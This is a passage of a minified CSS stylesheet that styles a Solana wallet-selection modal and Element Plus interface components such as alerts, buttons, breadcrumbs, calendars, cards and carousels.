2rem)}}.swv-modal-wrapper{box-sizing:border-box;position:relative;display:flex;align-items:center;flex-direction:column;z-index:1050;max-width:400px;border-radius:var(--swv-modal-radius);background:var(--swv-modal-background-color);color:var(--swv-modal-text-color);box-shadow:var(--swm-modal-shadow);font-family:DM Sans,Roboto,Helvetica Neue,Helvetica,Arial,sans-serif;flex:1}.swv-modal-wrapper .swv-button{width:100%;color:var(--swv-modal-button-text-color)}.swv-modal-wrapper .swv-button:not([disabled]):hover{background:var(--swv-modal-button-hover-background-color)}.swv-modal-wrapper .swv-button:not([disabled]):focus-visible{outline-color:var(--swv-modal-button-outline-color)}.swv-modal-title{font-weight:500;font-size:24px;line-height:36px;margin:0;padding:30px 60px;text-align:center}@media (max-width: 374px){.swv-modal-title{font-size:18px}}.swv-modal-list{margin:0 0 12px;padding:0;width:100%;list-style:none}.swv-modal-list .swv-button{font-weight:400;border-radius:0;font-size:18px;justify-content:flex-start}.swv-modal-list .swv-button .swv-wallet-status{color:var(--swv-modal-wallet-status-text-color);font-size:16px;margin-left:auto}.swv-modal-list .swv-button-icon,.swv-modal-list .swv-button-icon img{width:28px;height:28px}.el-affix--fixed{position:fixed}.el-alert{--el-alert-padding:8px 16px;--el-alert-border-radius-base:var(--el-border-radius-base);--el-alert-title-font-size:14px;--el-alert-title-with-description-font-size:16px;--el-alert-description-font-size:14px;--el-alert-close-font-size:16px;--el-alert-close-customed-font-size:14px;--el-alert-icon-size:16px;--el-alert-icon-large-size:28px;align-items:center;background-color:var(--el-color-white);border-radius:var(--el-alert-border-radius-base);box-sizing:border-box;display:flex;margin:0;opacity:1;overflow:hidden;padding:var(--el-alert-padding);position:relative;transition:opacity var(--el-transition-duration-fast);width:100%}.el-alert.is-light .el-alert__close-btn{color:var(--el-text-color-placeholder)}.el-alert.is-dark .el-alert__close-btn,.el-alert.is-dark .el-alert__description{color:var(--el-color-white)}.el-alert.is-center{justify-content:center}.el-alert--success{--el-alert-bg-color:var(--el-color-success-light-9)}.el-alert--success.is-light{background-color:var(--el-alert-bg-color)}.el-alert--success.is-light,.el-alert--success.is-light .el-alert__description{color:var(--el-color-success)}.el-alert--success.is-dark{background-color:var(--el-color-success);color:var(--el-color-white)}.el-alert--info{--el-alert-bg-color:var(--el-color-info-light-9)}.el-alert--info.is-light{background-color:var(--el-alert-bg-color)}.el-alert--info.is-light,.el-alert--info.is-light .el-alert__description{color:var(--el-color-info)}.el-alert--info.is-dark{background-color:var(--el-color-info);color:var(--el-color-white)}.el-alert--warning{--el-alert-bg-color:var(--el-color-warning-light-9)}.el-alert--warning.is-light{background-color:var(--el-alert-bg-color)}.el-alert--warning.is-light,.el-alert--warning.is-light .el-alert__description{color:var(--el-color-warning)}.el-alert--warning.is-dark{background-color:var(--el-color-warning);color:var(--el-color-white)}.el-alert--error{--el-alert-bg-color:var(--el-color-error-light-9)}.el-alert--error.is-light{background-color:var(--el-alert-bg-color)}.el-alert--error.is-light,.el-alert--error.is-light .el-alert__description{color:var(--el-color-error)}.el-alert--error.is-dark{background-color:var(--el-color-error);color:var(--el-color-white)}.el-alert__content{display:flex;flex-direction:column;gap:4px}.el-alert .el-alert__icon{font-size:var(--el-alert-icon-size);margin-right:8px;width:var(--el-alert-icon-size)}.el-alert .el-alert__icon.is-big{font-size:var(--el-alert-icon-large-size);margin-right:12px;width:var(--el-alert-icon-large-size)}.el-alert__title{font-size:var(--el-alert-title-font-size);line-height:24px}.el-alert__title.with-description{font-size:var(--el-alert-title-with-description-font-size)}.el-alert .el-alert__description{font-size:var(--el-alert-description-font-size);margin:0}.el-alert .el-alert__close-btn{cursor:pointer;font-size:var(--el-alert-close-font-size);opacity:1;position:absolute;right:16px;top:12px}.el-alert .el-alert__close-btn.is-customed{font-size:var(--el-alert-close-customed-font-size);font-style:normal;line-height:24px;top:8px}.el-alert-fade-enter-from,.el-alert-fade-leave-active{opacity:0}.el-aside{box-sizing:border-box;flex-shrink:0;overflow:auto;width:var(--el-aside-width,300px)}.el-autocomplete{display:inline-block;position:relative}.el-autocomplete__popper.el-popper{background:var(--el-bg-color-overlay);border:1px solid var(--el-border-color-light);box-shadow:var(--el-box-shadow-light)}.el-autocomplete__popper.el-popper .el-popper__arrow:before{border:1px solid var(--el-border-color-light)}.el-autocomplete__popper.el-popper[data-popper-placement^=top] .el-popper__arrow:before{border-left-color:transparent;border-top-color:transparent}.el-autocomplete__popper.el-popper[data-popper-placement^=bottom] .el-popper__arrow:before{border-bottom-color:transparent;border-right-color:transparent}.el-autocomplete__popper.el-popper[data-popper-placement^=left] .el-popper__arrow:before{border-bottom-color:transparent;border-left-color:transparent}.el-autocomplete__popper.el-popper[data-popper-placement^=right] .el-popper__arrow:before{border-right-color:transparent;border-top-color:transparent}.el-autocomplete-suggestion{border-radius:var(--el-border-radius-base);box-sizing:border-box}.el-autocomplete-suggestion__wrap{box-sizing:border-box;max-height:280px;padding:10px 0}.el-autocomplete-suggestion__list{margin:0;padding:0}.el-autocomplete-suggestion li{color:var(--el-text-color-regular);cursor:pointer;font-size:var(--el-font-size-base);line-height:34px;list-style:none;margin:0;overflow:hidden;padding:0 20px;text-align:left;text-overflow:ellipsis;white-space:nowrap}.el-autocomplete-suggestion li:hover,.el-autocomplete-suggestion li.highlighted{background-color:var(--el-fill-color-light)}.el-autocomplete-suggestion li.divider{border-top:1px solid var(--el-color-black);margin-top:6px}.el-autocomplete-suggestion li.divider:last-child{margin-bottom:-6px}.el-autocomplete-suggestion.is-loading li{color:var(--el-text-color-secondary);font-size:20px;height:100px;line-height:100px;text-align:center}.el-autocomplete-suggestion.is-loading li:after{content:"";display:inline-block;height:100%;vertical-align:middle}.el-autocomplete-suggestion.is-loading li:hover{background-color:var(--el-bg-color-overlay)}.el-autocomplete-suggestion.is-loading .el-icon-loading{vertical-align:middle}.el-avatar{--el-avatar-text-color:var(--el-color-white);--el-avatar-bg-color:var(--el-text-color-disabled);--el-avatar-text-size:14px;--el-avatar-icon-size:18px;--el-avatar-border-radius:var(--el-border-radius-base);--el-avatar-size-large:56px;--el-avatar-size-small:24px;--el-avatar-size:40px;align-items:center;background:var(--el-avatar-bg-color);box-sizing:border-box;color:var(--el-avatar-text-color);display:inline-flex;font-size:var(--el-avatar-text-size);height:var(--el-avatar-size);justify-content:center;overflow:hidden;text-align:center;width:var(--el-avatar-size)}.el-avatar>img{display:block;height:100%;width:100%}.el-avatar--circle{border-radius:50%}.el-avatar--square{border-radius:var(--el-avatar-border-radius)}.el-avatar--icon{font-size:var(--el-avatar-icon-size)}.el-avatar--small{--el-avatar-size:24px}.el-avatar--large{--el-avatar-size:56px}.el-backtop{--el-backtop-bg-color:var(--el-bg-color-overlay);--el-backtop-text-color:var(--el-color-primary);--el-backtop-hover-bg-color:var(--el-border-color-extra-light);align-items:center;background-color:var(--el-backtop-bg-color);border-radius:50%;box-shadow:var(--el-box-shadow-lighter);color:var(--el-backtop-text-color);cursor:pointer;display:flex;font-size:20px;height:40px;justify-content:center;position:fixed;width:40px;z-index:5}.el-backtop:hover{background-color:var(--el-backtop-hover-bg-color)}.el-backtop__icon{font-size:20px}.el-breadcrumb{font-size:14px;line-height:1}.el-breadcrumb:after,.el-breadcrumb:before{content:"";display:table}.el-breadcrumb:after{clear:both}.el-breadcrumb__separator{color:var(--el-text-color-placeholder);font-weight:700;margin:0 9px}.el-breadcrumb__separator.el-icon{font-weight:400;margin:0 6px}.el-breadcrumb__separator.el-icon svg{vertical-align:middle}.el-breadcrumb__item{align-items:center;display:inline-flex;float:left}.el-breadcrumb__inner{color:var(--el-text-color-regular)}.el-breadcrumb__inner a,.el-breadcrumb__inner.is-link{color:var(--el-text-color-primary);font-weight:700;text-decoration:none;transition:var(--el-transition-color)}.el-breadcrumb__inner a:hover,.el-breadcrumb__inner.is-link:hover{color:var(--el-color-primary);cursor:pointer}.el-breadcrumb__item:last-child .el-breadcrumb__inner,.el-breadcrumb__item:last-child .el-breadcrumb__inner a,.el-breadcrumb__item:last-child .el-breadcrumb__inner a:hover,.el-breadcrumb__item:last-child .el-breadcrumb__inner:hover{color:var(--el-text-color-regular);cursor:text;font-weight:400}.el-breadcrumb__item:last-child .el-breadcrumb__separator{display:none}.el-button-group{display:inline-block;vertical-align:middle}.el-button-group:after,.el-button-group:before{content:"";display:table}.el-button-group:after{clear:both}.el-button-group>.el-button{float:left;position:relative}.el-button-group>.el-button+.el-button{margin-left:0}.el-button-group>.el-button:first-child{border-bottom-right-radius:0;border-top-right-radius:0}.el-button-group>.el-button:last-child{border-bottom-left-radius:0;border-top-left-radius:0}.el-button-group>.el-button:first-child:last-child{border-bottom-left-radius:var(--el-border-radius-base);border-bottom-right-radius:var(--el-border-radius-base);border-top-left-radius:var(--el-border-radius-base);border-top-right-radius:var(--el-border-radius-base)}.el-button-group>.el-button:first-child:last-child.is-round{border-radius:var(--el-border-radius-round)}.el-button-group>.el-button:first-child:last-child.is-circle{border-radius:50%}.el-button-group>.el-button:not(:first-child):not(:last-child){border-radius:0}.el-button-group>.el-button:not(:last-child){margin-right:-1px}.el-button-group>.el-button:active,.el-button-group>.el-button:focus,.el-button-group>.el-button:hover{z-index:1}.el-button-group>.el-button.is-active{z-index:1}.el-button-group>.el-dropdown>.el-button{border-bottom-left-radius:0;border-left-color:var(--el-button-divide-border-color);border-top-left-radius:0}.el-button-group .el-button--primary:first-child{border-right-color:var(--el-button-divide-border-color)}.el-button-group .el-button--primary:last-child{border-left-color:var(--el-button-divide-border-color)}.el-button-group .el-button--primary:not(:first-child):not(:last-child){border-left-color:var(--el-button-divide-border-color);border-right-color:var(--el-button-divide-border-color)}.el-button-group .el-button--success:first-child{border-right-color:var(--el-button-divide-border-color)}.el-button-group .el-button--success:last-child{border-left-color:var(--el-button-divide-border-color)}.el-button-group .el-button--success:not(:first-child):not(:last-child){border-left-color:var(--el-button-divide-border-color);border-right-color:var(--el-button-divide-border-color)}.el-button-group .el-button--warning:first-child{border-right-color:var(--el-button-divide-border-color)}.el-button-group .el-button--warning:last-child{border-left-color:var(--el-button-divide-border-color)}.el-button-group .el-button--warning:not(:first-child):not(:last-child){border-left-color:var(--el-button-divide-border-color);border-right-color:var(--el-button-divide-border-color)}.el-button-group .el-button--danger:first-child{border-right-color:var(--el-button-divide-border-color)}.el-button-group .el-button--danger:last-child{border-left-color:var(--el-button-divide-border-color)}.el-button-group .el-button--danger:not(:first-child):not(:last-child){border-left-color:var(--el-button-divide-border-color);border-right-color:var(--el-button-divide-border-color)}.el-button-group .el-button--info:first-child{border-right-color:var(--el-button-divide-border-color)}.el-button-group .el-button--info:last-child{border-left-color:var(--el-button-divide-border-color)}.el-button-group .el-button--info:not(:first-child):not(:last-child){border-left-color:var(--el-button-divide-border-color);border-right-color:var(--el-button-divide-border-color)}.el-button{--el-button-font-weight:var(--el-font-weight-primary);--el-button-border-color:var(--el-border-color);--el-button-bg-color:var(--el-fill-color-blank);--el-button-text-color:var(--el-text-color-regular);--el-button-disabled-text-color:var(--el-disabled-text-color);--el-button-disabled-bg-color:var(--el-fill-color-blank);--el-button-disabled-border-color:var(--el-border-color-light);--el-button-divide-border-color:rgba(255,255,255,.5);--el-button-hover-text-color:var(--el-color-primary);--el-button-hover-bg-color:var(--el-color-primary-light-9);--el-button-hover-border-color:var(--el-color-primary-light-7);--el-button-active-text-color:var(--el-button-hover-text-color);--el-button-active-border-color:var(--el-color-primary);--el-button-active-bg-color:var(--el-button-hover-bg-color);--el-button-outline-color:var(--el-color-primary-light-5);--el-button-hover-link-text-color:var(--el-color-info);--el-button-active-color:var(--el-text-color-primary);align-items:center;-webkit-appearance:none;background-color:var(--el-button-bg-color);border:var(--el-border);border-color:var(--el-button-border-color);border-radius:var(--el-border-radius-base);box-sizing:border-box;color:var(--el-button-text-color);cursor:pointer;display:inline-flex;font-size:var(--el-font-size-base);font-weight:var(--el-button-font-weight);height:32px;justify-content:center;line-height:1;outline:none;padding:8px 15px;text-align:center;transition:.1s;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;vertical-align:middle;white-space:nowrap}.el-button:hover{background-color:var(--el-button-hover-bg-color);border-color:var(--el-button-hover-border-color);color:var(--el-button-hover-text-color);outline:none}.el-button:active{background-color:var(--el-button-active-bg-color);border-color:var(--el-button-active-border-color);color:var(--el-button-active-text-color);outline:none}.el-button:focus-visible{outline:2px solid var(--el-button-outline-color);outline-offset:1px;transition:outline-offset 0s,outline 0s}.el-button>span{align-items:center;display:inline-flex}.el-button+.el-button{margin-left:12px}.el-button.is-round{padding:8px 15px}.el-button::-moz-focus-inner{border:0}.el-button [class*=el-icon]+span{margin-left:6px}.el-button [class*=el-icon] svg{vertical-align:bottom}.el-button.is-plain{--el-button-hover-text-color:var(--el-color-primary);--el-button-hover-bg-color:var(--el-fill-color-blank);--el-button-hover-border-color:var(--el-color-primary)}.el-button.is-active{background-color:var(--el-button-active-bg-color);border-color:var(--el-button-active-border-color);color:var(--el-button-active-text-color);outline:none}.el-button.is-disabled,.el-button.is-disabled:hover{background-color:var(--el-button-disabled-bg-color);background-image:none;border-color:var(--el-button-disabled-border-color);color:var(--el-button-disabled-text-color);cursor:not-allowed}.el-button.is-loading{pointer-events:none;position:relative}.el-button.is-loading:before{background-color:var(--el-mask-color-extra-light);border-radius:inherit;bottom:-1px;content:"";left:-1px;pointer-events:none;position:absolute;right:-1px;top:-1px;z-index:1}.el-button.is-round{border-radius:var(--el-border-radius-round)}.el-button.is-circle{border-radius:50%;padding:8px;width:32px}.el-button.is-text{background-color:transparent;border:0 solid transparent;color:var(--el-button-text-color)}.el-button.is-text.is-disabled{background-color:transparent!important;color:var(--el-button-disabled-text-color)}.el-button.is-text:not(.is-disabled):hover{background-color:var(--el-fill-color-light)}.el-button.is-text:not(.is-disabled):focus-visible{outline:2px solid var(--el-button-outline-color);outline-offset:1px;transition:outline-offset 0s,outline 0s}.el-button.is-text:not(.is-disabled):active{background-color:var(--el-fill-color)}.el-button.is-text:not(.is-disabled).is-has-bg{background-color:var(--el-fill-color-light)}.el-button.is-text:not(.is-disabled).is-has-bg:hover{background-color:var(--el-fill-color)}.el-button.is-text:not(.is-disabled).is-has-bg:active{background-color:var(--el-fill-color-dark)}.el-button__text--expand{letter-spacing:.3em;margin-right:-.3em}.el-button.is-link{background:transparent;border-color:transparent;color:var(--el-button-text-color);height:auto;padding:2px}.el-button.is-link:hover{color:var(--el-button-hover-link-text-color)}.el-button.is-link.is-disabled{background-color:transparent!important;border-color:transparent!important;color:var(--el-button-disabled-text-color)}.el-button.is-link:not(.is-disabled):hover{background-color:transparent;border-color:transparent}.el-button.is-link:not(.is-disabled):active{background-color:transparent;border-color:transparent;color:var(--el-button-active-color)}.el-button--text{background:transparent;border-color:transparent;color:var(--el-color-primary);padding-left:0;padding-right:0}.el-button--text.is-disabled{background-color:transparent!important;border-color:transparent!important;color:var(--el-button-disabled-text-color)}.el-button--text:not(.is-disabled):hover{background-color:transparent;border-color:transparent;color:var(--el-color-primary-light-3)}.el-button--text:not(.is-disabled):active{background-color:transparent;border-color:transparent;color:var(--el-color-primary-dark-2)}.el-button__link--expand{letter-spacing:.3em;margin-right:-.3em}.el-button--primary{--el-button-text-color:var(--el-color-white);--el-button-bg-color:var(--el-color-primary);--el-button-border-color:var(--el-color-primary);--el-button-outline-color:var(--el-color-primary-light-5);--el-button-active-color:var(--el-color-primary-dark-2);--el-button-hover-text-color:var(--el-color-white);--el-button-hover-link-text-color:var(--el-color-primary-light-5);--el-button-hover-bg-color:var(--el-color-primary-light-3);--el-button-hover-border-color:var(--el-color-primary-light-3);--el-button-active-bg-color:var(--el-color-primary-dark-2);--el-button-active-border-color:var(--el-color-primary-dark-2);--el-button-disabled-text-color:var(--el-color-white);--el-button-disabled-bg-color:var(--el-color-primary-light-5);--el-button-disabled-border-color:var(--el-color-primary-light-5)}.el-button--primary.is-link,.el-button--primary.is-plain,.el-button--primary.is-text{--el-button-text-color:var(--el-color-primary);--el-button-bg-color:var(--el-color-primary-light-9);--el-button-border-color:var(--el-color-primary-light-5);--el-button-hover-text-color:var(--el-color-white);--el-button-hover-bg-color:var(--el-color-primary);--el-button-hover-border-color:var(--el-color-primary);--el-button-active-text-color:var(--el-color-white)}.el-button--primary.is-link.is-disabled,.el-button--primary.is-link.is-disabled:active,.el-button--primary.is-link.is-disabled:focus,.el-button--primary.is-link.is-disabled:hover,.el-button--primary.is-plain.is-disabled,.el-button--primary.is-plain.is-disabled:active,.el-button--primary.is-plain.is-disabled:focus,.el-button--primary.is-plain.is-disabled:hover,.el-button--primary.is-text.is-disabled,.el-button--primary.is-text.is-disabled:active,.el-button--primary.is-text.is-disabled:focus,.el-button--primary.is-text.is-disabled:hover{background-color:var(--el-color-primary-light-9);border-color:var(--el-color-primary-light-8);color:var(--el-color-primary-light-5)}.el-button--success{--el-button-text-color:var(--el-color-white);--el-button-bg-color:var(--el-color-success);--el-button-border-color:var(--el-color-success);--el-button-outline-color:var(--el-color-success-light-5);--el-button-active-color:var(--el-color-success-dark-2);--el-button-hover-text-color:var(--el-color-white);--el-button-hover-link-text-color:var(--el-color-success-light-5);--el-button-hover-bg-color:var(--el-color-success-light-3);--el-button-hover-border-color:var(--el-color-success-light-3);--el-button-active-bg-color:var(--el-color-success-dark-2);--el-button-active-border-color:var(--el-color-success-dark-2);--el-button-disabled-text-color:var(--el-color-white);--el-button-disabled-bg-color:var(--el-color-success-light-5);--el-button-disabled-border-color:var(--el-color-success-light-5)}.el-button--success.is-link,.el-button--success.is-plain,.el-button--success.is-text{--el-button-text-color:var(--el-color-success);--el-button-bg-color:var(--el-color-success-light-9);--el-button-border-color:var(--el-color-success-light-5);--el-button-hover-text-color:var(--el-color-white);--el-button-hover-bg-color:var(--el-color-success);--el-button-hover-border-color:var(--el-color-success);--el-button-active-text-color:var(--el-color-white)}.el-button--success.is-link.is-disabled,.el-button--success.is-link.is-disabled:active,.el-button--success.is-link.is-disabled:focus,.el-button--success.is-link.is-disabled:hover,.el-button--success.is-plain.is-disabled,.el-button--success.is-plain.is-disabled:active,.el-button--success.is-plain.is-disabled:focus,.el-button--success.is-plain.is-disabled:hover,.el-button--success.is-text.is-disabled,.el-button--success.is-text.is-disabled:active,.el-button--success.is-text.is-disabled:focus,.el-button--success.is-text.is-disabled:hover{background-color:var(--el-color-success-light-9);border-color:var(--el-color-success-light-8);color:var(--el-color-success-light-5)}.el-button--warning{--el-button-text-color:var(--el-color-white);--el-button-bg-color:var(--el-color-warning);--el-button-border-color:var(--el-color-warning);--el-button-outline-color:var(--el-color-warning-light-5);--el-button-active-color:var(--el-color-warning-dark-2);--el-button-hover-text-color:var(--el-color-white);--el-button-hover-link-text-color:var(--el-color-warning-light-5);--el-button-hover-bg-color:var(--el-color-warning-light-3);--el-button-hover-border-color:var(--el-color-warning-light-3);--el-button-active-bg-color:var(--el-color-warning-dark-2);--el-button-active-border-color:var(--el-color-warning-dark-2);--el-button-disabled-text-color:var(--el-color-white);--el-button-disabled-bg-color:var(--el-color-warning-light-5);--el-button-disabled-border-color:var(--el-color-warning-light-5)}.el-button--warning.is-link,.el-button--warning.is-plain,.el-button--warning.is-text{--el-button-text-color:var(--el-color-warning);--el-button-bg-color:var(--el-color-warning-light-9);--el-button-border-color:var(--el-color-warning-light-5);--el-button-hover-text-color:var(--el-color-white);--el-button-hover-bg-color:var(--el-color-warning);--el-button-hover-border-color:var(--el-color-warning);--el-button-active-text-color:var(--el-color-white)}.el-button--warning.is-link.is-disabled,.el-button--warning.is-link.is-disabled:active,.el-button--warning.is-link.is-disabled:focus,.el-button--warning.is-link.is-disabled:hover,.el-button--warning.is-plain.is-disabled,.el-button--warning.is-plain.is-disabled:active,.el-button--warning.is-plain.is-disabled:focus,.el-button--warning.is-plain.is-disabled:hover,.el-button--warning.is-text.is-disabled,.el-button--warning.is-text.is-disabled:active,.el-button--warning.is-text.is-disabled:focus,.el-button--warning.is-text.is-disabled:hover{background-color:var(--el-color-warning-light-9);border-color:var(--el-color-warning-light-8);color:var(--el-color-warning-light-5)}.el-button--danger{--el-button-text-color:var(--el-color-white);--el-button-bg-color:var(--el-color-danger);--el-button-border-color:var(--el-color-danger);--el-button-outline-color:var(--el-color-danger-light-5);--el-button-active-color:var(--el-color-danger-dark-2);--el-button-hover-text-color:var(--el-color-white);--el-button-hover-link-text-color:var(--el-color-danger-light-5);--el-button-hover-bg-color:var(--el-color-danger-light-3);--el-button-hover-border-color:var(--el-color-danger-light-3);--el-button-active-bg-color:var(--el-color-danger-dark-2);--el-button-active-border-color:var(--el-color-danger-dark-2);--el-button-disabled-text-color:var(--el-color-white);--el-button-disabled-bg-color:var(--el-color-danger-light-5);--el-button-disabled-border-color:var(--el-color-danger-light-5)}.el-button--danger.is-link,.el-button--danger.is-plain,.el-button--danger.is-text{--el-button-text-color:var(--el-color-danger);--el-button-bg-color:var(--el-color-danger-light-9);--el-button-border-color:var(--el-color-danger-light-5);--el-button-hover-text-color:var(--el-color-white);--el-button-hover-bg-color:var(--el-color-danger);--el-button-hover-border-color:var(--el-color-danger);--el-button-active-text-color:var(--el-color-white)}.el-button--danger.is-link.is-disabled,.el-button--danger.is-link.is-disabled:active,.el-button--danger.is-link.is-disabled:focus,.el-button--danger.is-link.is-disabled:hover,.el-button--danger.is-plain.is-disabled,.el-button--danger.is-plain.is-disabled:active,.el-button--danger.is-plain.is-disabled:focus,.el-button--danger.is-plain.is-disabled:hover,.el-button--danger.is-text.is-disabled,.el-button--danger.is-text.is-disabled:active,.el-button--danger.is-text.is-disabled:focus,.el-button--danger.is-text.is-disabled:hover{background-color:var(--el-color-danger-light-9);border-color:var(--el-color-danger-light-8);color:var(--el-color-danger-light-5)}.el-button--info{--el-button-text-color:var(--el-color-white);--el-button-bg-color:var(--el-color-info);--el-button-border-color:var(--el-color-info);--el-button-outline-color:var(--el-color-info-light-5);--el-button-active-color:var(--el-color-info-dark-2);--el-button-hover-text-color:var(--el-color-white);--el-button-hover-link-text-color:var(--el-color-info-light-5);--el-button-hover-bg-color:var(--el-color-info-light-3);--el-button-hover-border-color:var(--el-color-info-light-3);--el-button-active-bg-color:var(--el-color-info-dark-2);--el-button-active-border-color:var(--el-color-info-dark-2);--el-button-disabled-text-color:var(--el-color-white);--el-button-disabled-bg-color:var(--el-color-info-light-5);--el-button-disabled-border-color:var(--el-color-info-light-5)}.el-button--info.is-link,.el-button--info.is-plain,.el-button--info.is-text{--el-button-text-color:var(--el-color-info);--el-button-bg-color:var(--el-color-info-light-9);--el-button-border-color:var(--el-color-info-light-5);--el-button-hover-text-color:var(--el-color-white);--el-button-hover-bg-color:var(--el-color-info);--el-button-hover-border-color:var(--el-color-info);--el-button-active-text-color:var(--el-color-white)}.el-button--info.is-link.is-disabled,.el-button--info.is-link.is-disabled:active,.el-button--info.is-link.is-disabled:focus,.el-button--info.is-link.is-disabled:hover,.el-button--info.is-plain.is-disabled,.el-button--info.is-plain.is-disabled:active,.el-button--info.is-plain.is-disabled:focus,.el-button--info.is-plain.is-disabled:hover,.el-button--info.is-text.is-disabled,.el-button--info.is-text.is-disabled:active,.el-button--info.is-text.is-disabled:focus,.el-button--info.is-text.is-disabled:hover{background-color:var(--el-color-info-light-9);border-color:var(--el-color-info-light-8);color:var(--el-color-info-light-5)}.el-button--large{--el-button-size:40px;border-radius:var(--el-border-radius-base);font-size:var(--el-font-size-base);height:var(--el-button-size);padding:12px 19px}.el-button--large [class*=el-icon]+span{margin-left:8px}.el-button--large.is-round{padding:12px 19px}.el-button--large.is-circle{padding:12px;width:var(--el-button-size)}.el-button--small{--el-button-size:24px;border-radius:calc(var(--el-border-radius-base) - 1px);font-size:12px;height:var(--el-button-size);padding:5px 11px}.el-button--small [class*=el-icon]+span{margin-left:4px}.el-button--small.is-round{padding:5px 11px}.el-button--small.is-circle{padding:5px;width:var(--el-button-size)}.el-calendar{--el-calendar-border:var(--el-table-border,1px solid var(--el-border-color-lighter));--el-calendar-header-border-bottom:var(--el-calendar-border);--el-calendar-selected-bg-color:var(--el-color-primary-light-9);--el-calendar-cell-width:85px;background-color:var(--el-fill-color-blank)}.el-calendar__header{border-bottom:var(--el-calendar-header-border-bottom);display:flex;justify-content:space-between;padding:12px 20px}.el-calendar__title{align-self:center;color:var(--el-text-color)}.el-calendar__body{padding:12px 20px 35px}.el-calendar-table{table-layout:fixed;width:100%}.el-calendar-table thead th{color:var(--el-text-color-regular);font-weight:400;padding:12px 0}.el-calendar-table:not(.is-range) td.next,.el-calendar-table:not(.is-range) td.prev{color:var(--el-text-color-placeholder)}.el-calendar-table td{border-bottom:var(--el-calendar-border);border-right:var(--el-calendar-border);transition:background-color var(--el-transition-duration-fast) ease;vertical-align:top}.el-calendar-table td.is-selected{background-color:var(--el-calendar-selected-bg-color)}.el-calendar-table td.is-today{color:var(--el-color-primary)}.el-calendar-table tr:first-child td{border-top:var(--el-calendar-border)}.el-calendar-table tr td:first-child{border-left:var(--el-calendar-border)}.el-calendar-table tr.el-calendar-table__row--hide-border td{border-top:none}.el-calendar-table .el-calendar-day{box-sizing:border-box;height:var(--el-calendar-cell-width);padding:8px}.el-calendar-table .el-calendar-day:hover{background-color:var(--el-calendar-selected-bg-color);cursor:pointer}.el-card{--el-card-border-color:var(--el-border-color-light);--el-card-border-radius:4px;--el-card-padding:20px;--el-card-bg-color:var(--el-fill-color-blank);background-color:var(--el-card-bg-color);border:1px solid var(--el-card-border-color);border-radius:var(--el-card-border-radius);color:var(--el-text-color-primary);overflow:hidden;transition:var(--el-transition-duration)}.el-card.is-always-shadow{box-shadow:var(--el-box-shadow-light)}.el-card.is-hover-shadow:focus,.el-card.is-hover-shadow:hover{box-shadow:var(--el-box-shadow-light)}.el-card__header{border-bottom:1px solid var(--el-card-border-color);box-sizing:border-box;padding:calc(var(--el-card-padding) - 2px) var(--el-card-padding)}.el-card__body{padding:var(--el-card-padding)}.el-card__footer{border-top:1px solid var(--el-card-border-color);box-sizing:border-box;padding:calc(var(--el-card-padding) - 2px) var(--el-card-padding)}.el-carousel__item{display:inline-block;height:100%;left:0;overflow:hidden;position:absolute;top:0;width:100%}.el-carousel__item,.el-carousel__item.is-active{z-index:calc(var(--el-index-normal) - 1)}.el-carousel__item--card,.el-carousel__item.is-animating{transition:transform .4s ease-in-out}.el-carousel__item--card{width:50%}.el-carousel__item--card.is-in-stage{cursor:pointer;z-index:var(--el-index-normal)}.el-carousel__item--card.is-in-stage.is-hover .el-carousel__mask,.el-carousel__item--card.is-in-stage:hover .el-carousel__mask{opacity:.12}.el-carousel__item--card.is-active{z-index:calc(var(--el-index-normal) + 1)}.el-carousel__item--card-vertical{height:50%;width:100%}.el-carousel__mask{background-color:var(--el-color-white);height:100%;left:0;opacity:.24;position:absolute;top:0;transition:var(--el-transition-duration-fast);width:100%}.el-carousel{--el-carousel-arrow-font-size:12px;--el-carousel-arrow-size:36px;--el-carousel-arrow-background:rgba(31,45,61,.11);--el-carousel-arrow-hover-background:rgba(31,45,61,.23);--el-carousel-indicator-width:30px;--el-carousel-indicator-height:2px;--el-carousel-indicator-padding-horizontal:4px;--el-carousel-indicator-padding-vertical:12px;--el-carousel-indicator-out-color:var(--el-border-color-hover);position:relative}.el-carousel--horizontal,.el-carousel--vertical{overflow:hidden}.el-carousel__container{height:300px;position:relative}.el-carousel__arrow{align-items:center;background-color:var(--el-carousel-arrow-background);border:none;border-radius:50%;color:#fff;cursor:pointer;display:inline-flex;font-size:var(--el-carousel-arrow-font-size);height:var(--el-carousel-arrow-size);justify-content:center;margin:0;outline:none;padding:0;position:absolute;text-align:center;top:50%;transform:translateY(-50%);transition:var(--el-transition-duration);width:var(--el-carousel-arrow-size);z-index:10}.el-carousel__arrow--left{left:16px}.el-carousel__arrow--right{right:16px}.el-carousel__arrow:hover{background-color:var(--el-carousel-arrow-hover-background)}.el-carousel__arrow i{cursor:pointer}.el-carousel__indicators{list-style:none;margin:0;padding:0;position:absolute;z-index:calc(var(--el-index-normal) + 1)}.el-carousel__indicators--horizontal{bottom:0;left:50%;transform:translate(-50%)}.el-carousel__indicators--vertical{right:0;top:50%;transform:translateY(-50%)}.el-carousel__indicators--outside{bottom:calc(var(--el-carousel-indicator-height) + var(--el-carousel-indicator-padding-vertical)*2);position:static;text-align:center;transform:none}.el-carousel__indicators--outside .el-carousel__indicator:hover button{opacity:.64}.el-carousel__indicators--outside button{background-color:var(--el-carousel-indicator-out-color);opacity:.24}.el-carousel__indicators--right{right:0}.el-carousel__indicators--labels{left:0;right:0;text-align:center;transform:none}.el-carousel__indicators--labels .el-carousel__button{color:#000;font-size:12px;height:auto;padding:2px 18px;width:auto}.el-carousel__indicators--labels .el-carousel__indicator{padding:6px 4px}.el-carousel__indicator{background-color:transparent;cursor:pointer}.el-carousel__indicator:hover button{opacity:.72}.el-carousel__indicator--horizontal{display:inline-block;padding:var(--el-carousel-indicator-padding-vertical) var(--el-carousel-indicator-padding-horizontal)}.el-carousel__indicator--vertical{padding:var(--el-carousel-indicator-padding-horizontal) var(--el-carousel-indicator-padding-vertical)}.el-carousel__indicator--vertical .el-carousel__button{height:calc(var(--el-carousel-indicator-width)/2);width:var(--el-carousel-indicator-height)}.el-carousel__indicator.is-active button{opacity:1}.el-carousel__button{background-color:#fff;border:none;cursor:pointer;display:block;height:var(--el-carousel-indicator-height);margin:0;opacity:.48;outline:none;padding:0;transition:var(--el-transition-duration);width:var(--el-carousel-indicator-width)}.carousel-arrow-left-enter-from,.carousel-arrow-left-leave-active{opacity:0;transform:translateY(-50%) translate(-10px)}.carousel-arrow-right-enter-from,.carousel-arrow-right-leave-active{opacity:0;transform:translateY(-50%) 